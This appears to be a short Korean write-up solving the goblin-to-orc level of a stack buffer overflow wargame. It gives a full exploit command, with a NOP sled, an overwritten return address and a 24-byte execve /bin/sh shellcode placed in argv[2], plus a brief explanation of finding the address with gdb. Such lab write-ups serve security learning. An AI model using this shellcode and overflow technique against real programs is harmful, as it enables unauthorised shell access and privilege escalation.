bof 원정대 goblin -> orc

해답 : 

./orc `python -c 'print "\x90"*44+"\x2c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

버퍼가 40 으로 상당히 작습니다. 버퍼 40에 제가 가지고 있는 24바이트의 쉘코드를 넣어도 되겠지만 성공률 때문에 argv[2] 에다가 넣는 방식으로 해결했습니다. 

해답을 보시면 총 두가지 인자 값을 넣었는데 첫 번째 인자 값은 주소를 바꾸는 용도를 사용했고 두 번째 인자 값은 쉘코드를 넣기 위해 사용했습니다. 

 x/150x $esp를 이용해서 argv[2]가 들어가는 위치를 파악한 후 해당 주소로 점프하게끔 리턴 주소를 바꿔주면 완료입니다. 

cantata